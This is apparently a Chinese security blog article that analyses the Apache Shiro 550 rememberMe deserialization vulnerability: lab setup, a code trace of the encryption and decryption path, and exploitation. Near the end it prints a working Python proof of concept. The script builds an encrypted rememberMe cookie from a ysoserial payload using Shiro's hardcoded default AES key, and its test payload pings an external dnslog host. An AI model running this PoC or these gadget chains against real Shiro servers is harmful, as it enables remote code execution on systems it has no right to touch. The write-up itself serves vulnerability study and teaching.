Java安全之Shiro 550反序列化漏洞分析
Java安全之Shiro 550反序列化漏洞分析
首发自安全客:Java安全之Shiro 550反序列化漏洞分析
0x00 前言
在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是Shiro的该漏洞也是用的比较频繁的漏洞。本文对该Shiro550 反序列化漏洞进行一个分析,了解漏洞产生过程以及利用方式。
0x01 漏洞原理
Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产生原因是因为shiro接受了Cookie里面rememberMe
的值,然后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。
反过来思考一下,如果我们构造该值为一个cc链序列化后的值进行该密钥aes加密后进行base64加密,那么这时候就会去进行反序列化我们的payload内容,这时候就可以达到一个命令执行的效果。
获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作
0x02 漏洞环境搭建
漏洞环境:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
打开shiro/web目录,对pom.xml进行配置依赖配置一个cc4和jstl组件进来,后面再去说为什么shiro自带了commons-collections:3.2.1
还要去手工配置一个commons-collections:4.0
。
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
...
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
坑点
Shiro的编译太痛苦了,各种坑,下面来排一下坑。
配置maven\conf\toolchains.xml
,这里需要指定JDK1.6的路径和版本,编译必须要1.6版本,但不影响在其他版本下运行。
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>D:\JAVA_JDK\jdk1.6</jdkHome>
</configuration>
</toolchain>
</toolchains>
这些都完成后进行编译。
Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure
这里还是报错了。
后面编译的时候,切换成了maven3.1.1的版本。然后就可以编译成功了。
但是后面又发现部署的时候访问不到,编译肯定又出了问题。
后面把这两个里面的<scope>
标签给注释掉,然后就可以了。
把pom.xml配置贴一下。
<?xml version="1.0" encoding="UTF-8"?>
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!-- <scope>provided</scope>-->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!-- <scope>test</scope>-->
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
经过2天的排坑,终于把这个坑给解决掉,这里必须贴几张照片庆祝庆祝。
输入账号密码,勾选Remerber me选项。进行抓包
下面就可以来分析该漏洞了。
0x03 漏洞分析
加密
漏洞产生点在CookieRememberMeManager
该位置,来看到rememberSerializedIdentity
方法。
该方法的作用为使用Base64对指定的序列化字节数组进行编码,并将Base64编码的字符串设置为cookie值。
那么我们就去查看一下该方法在什么地方被调用。
在这可以看到该类继承的AbstractRememberMeManager
类调用了该方法。跟进进去查看
发现这个方法被rememberIdentity
方法给调用了,同样方式继续跟进。
在这里会发现rememberIdentity
方法会被onSuccessfulLogin
方法给调用,跟踪到这一步,就看到了onSuccessfulLogin
登录成功的方法。
当登录成功后会调用AbstractRememberMeManager.onSuccessfulLogin
方法,该方法主要实现了生成加密的RememberMe Cookie
,然后将RememberMe Cookie
设置为用户的Cookie值。在前面我们分析的rememberSerializedIdentity
方法里面去实现了。可以来看一下这段代码。
回到onSuccessfulLogin
这个地方,打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看。找到登录成功方法后,我们可以来正向去做个分析,不然刚刚的方式比较麻烦。
这里看到调用了isRememberMe
很显而易见得发现这个就是一个判断用户是否选择了Remember Me
选项。
如果选择Remember Me
功能的话返回true,如果不选择该选项则是调用log.debug方法在控制台输出一段字符。
这里如果为true的话就会调用rememberIdentity
方法并且传入三个参数。F7跟进该方法。
前面说过该方法会去生成一个PrincipalCollection
对象,里面包含登录信息。F7进行跟进rememberIdentity
方法。
查看convertPrincipalsToBytes
具体的实现与作用。
跟进该方法查看具体实现。
看到这里其实已经很清晰了,进行了一个序列化,然后返回序列化后的Byte数组。
再来看到下一段代码,这里如果getCipherService
方法不为空的话,就会去执行下一段代码。getCipherService
方法是获取加密模式。
还是继续跟进查看。
查看调用,会发现在构造方法里面对该值进行定义。
完成这一步后,就来到了这里。
调用encrypt
方法,对序列化后的数据进行处理。继续跟进。
这里调用cipherService.encrypt
方法并且传入序列化数据,和getEncryptionCipherKey
方法。
getEncryptionCipherKey
从名字上来看是获取密钥的方法,查看一下,是怎么获取密钥的。
查看调用的时候,发现setCipherKey
方法在构造方法里面被调用了。
查看DEFAULT_CIPHER_KEY_BYTES
值会发现里面定义了一串密钥
而这个密钥是定义死的。
返回刚刚的加密的地方。
这个地方选择跟进,查看具体实现。
查看到这里发现会传入前面序列化的数组和key值,最后再去调用他的重载方法并且传入序列化数组、key、ivBytes值、generate。
iv的值由generateInitializationVector
方法生成,进行跟进。
查看getDefaultSecureRandom
方法实现。
返回generateInitializationVector
方法继续查看。这个new了一个byte数组长度为16
最后得到这个ivBytes值进行返回。
这里执行完成后就拿到了ivBytes的值了,这里再回到加密方法的地方查看具体加密的实现。
这里调用crypt方法进行获取到加密后的数据,而这个output是一个byte数组,大小是加密后数据的长度加上iv这个值的长度。
iv 的小tips
- 某些加密算法要求明文需要按一定长度对齐,叫做块大小(BlockSize),我们这次就是16字节,那么对于一段任意的数据,加密前需要对最后一个块填充到16 字节,解密后需要删除掉填充的数据。
- AES中有三种填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
- PKCS7Padding跟PKCS5Padding的区别就在于数据填充方式,PKCS7Padding是缺几个字节就补几个字节的0,而PKCS5Padding是缺几个字节就补充几个字节的几,好比缺6个字节,就补充6个字节
不了解加密算法的可以看Java安全之安全加密算法
在执行完成后序列化的数据已经被进行了AES加密,返回一个byte数组。
执行完成后,来到这一步,然后进行跟进。
到了这里其实就没啥好说的了。后面的步骤就是进行base64加密后设置为用户的Cookie的rememberMe字段中。
解密
由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt
进行加密,该类中也有对应的解密操作。那么在这里就可以来查看该方法具体会在哪里被调用到,就可以追溯到上层去,然后进行下断点。
查看 getRememberedPrincipals
方法在此处下断点
跟踪
返回getRememberedPrincipals
方法。
在下面调用了convertBytesToPrincipals
方法,进行跟踪。
查看decrypt
方法具体实现。
和前面的加密步骤类似,这里不做详细讲解。
生成iv值,然后传入到他的重载方法里面。
到了这里执行完后,就进行了AES的解密完成。
还是回到这一步。
这里返回了deserialize
方法的返回值,并且传入AES加密后的数据。
进行跟踪该方法。
继续跟踪。
到了这步,就会对我们传入进来的AES解密后的数据进行调用readObject
方法进行反序列化操作。
0x04 漏洞攻击
漏洞探测
现在已经知道了是因为获取rememberMe值,然后进行解密后再进行反序列化操作。
那么在这里如果拿到了密钥就可以伪造加密流程。
网上找的一个加密的脚本
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('http://u89cy6.dnslog.cn')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)
获取到值后加密后的payload后可以在burp上面进行手工发送测试一下。
发送完成后,就可以看到DNSLOG平台上面回显了。
当使用URLDNS链的打过去,在DNSLOG平台有回显的时候,就说明这个地方存在反序列化漏洞。
但是要利用的话还得是使用CC链等利用链去进行命令的执行。
漏洞利用
前面我们手动给shio配上cc4的组件,而shiro中自带的是cc3.2.1版本的组件,为什么要手工去配置呢?
其实shiro中重写了ObjectInputStream
类的resolveClass
函数,ObjectInputStream
的resolveClass
方法用的是Class.forName
类获取当前描述器所指代的类的Class对象。而重写后的resolveClass
方法,采用的是ClassUtils.forName
。查看该方法
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
}
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
}
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}
在传参的地方如果传入一个Transform
数组的参数,会报错。
后者并不支持传入数组类型。
resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class
那么在这里可以使用cc2和cc4的利用链去进行命令执行,因为这两个都是基于javassist去实现的,而不是基于Transform
数组。具体的可以看前面我的分析利用链文章。
除了这两个其实在部署的时候,可以发现组件当中自带了一个CommonsBeanutils的组件,这个组件也是有利用链的。可以使用CommonsBeanutils这条利用链进行命令执行。
那么除了这些方式就没有了嘛?假设没有cc4的组件,就一定执行不了命令了嘛?其实方式还是有的。wh1t3p1g师傅在文章中已经给出了解决方案。需要重新去特殊构造一下利用链。
参考文章
https://www.anquanke.com/post/id/192619#h2-4
https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils
https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A
0x05 结尾
在该漏洞中我觉得主要的难点在于环境搭建上费了不少时间,还有的就是关于shiro中大部分利用链没法使用的解决。
Java安全之Shiro 550反序列化漏洞分析的更多相关文章
- Shiro 550反序列化漏洞分析
Shiro 550反序列化漏洞分析 一.漏洞简介 影响版本:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段. Apache Shiro ...
- 学习笔记 | java反序列化漏洞分析
java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...
- Java安全之Cas反序列化漏洞分析
Java安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas,以前没接触过,借此机会学习一波. 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目,旨在为 Web 应用 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计
Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. Apache Shiro默认使用了CookieRe ...
- ref:Java安全之反序列化漏洞分析(简单-朴实)
ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...
- Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...
- Fastjson 1.2.22-24 反序列化漏洞分析
目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...
- Fastjson 1.2.22-24 反序列化漏洞分析(2)
Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...
随机推荐
- celery原理与组件
1.Celery介绍 https://www.cnblogs.com/xiaonq/p/11166235.html#i1 1.1 celery应用举例 Celery 是一个 基于python开发的 分 ...
- keras实现MobileNet
利用keras实现MobileNet,并以mnist数据集作为一个小例子进行识别.使用的环境是:tensorflow-gpu 2.0,python=3.7 , GTX-2070的GPU 1.导入数据 ...
- 17_Android网络通信
1. Android异步任务处理 在程序开启后,就会有一个主线程,负责与用户交互.如果在主线程中执行了耗时操作,那么界面就会停止响应,所以要将耗时操作转移到别的线程中. AsyncTask的用法,包括 ...
- python之汉诺塔
# -*- coding: utf-8 -*- def move(n, a, b, c): if n==1: print(a,'==>',c)#只有一块的时候直接从A到C即可 else: mov ...
- PyQt(Python+Qt)学习随笔:Qt Designer中主窗口对象的animated属性
animated属性用于设置在操作可浮动部件和工具栏时是否设置动画. 当一个可浮动部件或工具栏被拖到主窗口上时,主窗口将调整其内容,以显示浮动部件或工具栏应该放置的位置.设置此属性后主窗口将使用平滑动 ...
- Boost UDP Transaction Performance
提高UDP交互性能 这是一篇个人认为非常非常厉害的文章,取自这里.讲述了如何提升UDP流的处理速率,但实际涉及的技术点不仅仅限于UDP.这篇文章中涉及的技术正好可以把前段时间了解的知识串联起来.作者: ...
- setTimeout和setInterval的区别,包含内存方面的分析?
setTimeout表示间隔一段时间之后执行一次调用,而setInterval则是每间隔一段时间循环调用,直至clearInterval结束. 内存方面,setTimeout只需要进入一次队列,不会造 ...
- 【题解】P2610 [ZJOI2012]旅游
link 题意 T国的国土可以用一个凸N边形来表示,包含 \(N-2\) 个城市,每个城市都是顶点为 \(N\) 边形顶点的三角形,两人的旅游路线可以看做是连接N个顶点中不相邻两点的线段.问一路能经过 ...
- Codeforces Edu Round 50 A-D
A. Function Height 由于只能提升\(x\)为奇数的点,每个三角形的底一定为\(2\), 则要求我们求: \(2 * (h_1 + h_2 + - + h_n) / 2 = k\),使 ...
- Python使用requests发送请求
Python使用第三方包requests发送请求,实现接口自动化 发送请求分三步: 1.组装请求:包括请求地址.请求头header.cookies.请求数据等 2.发送请求,获取响应:支持get.po ...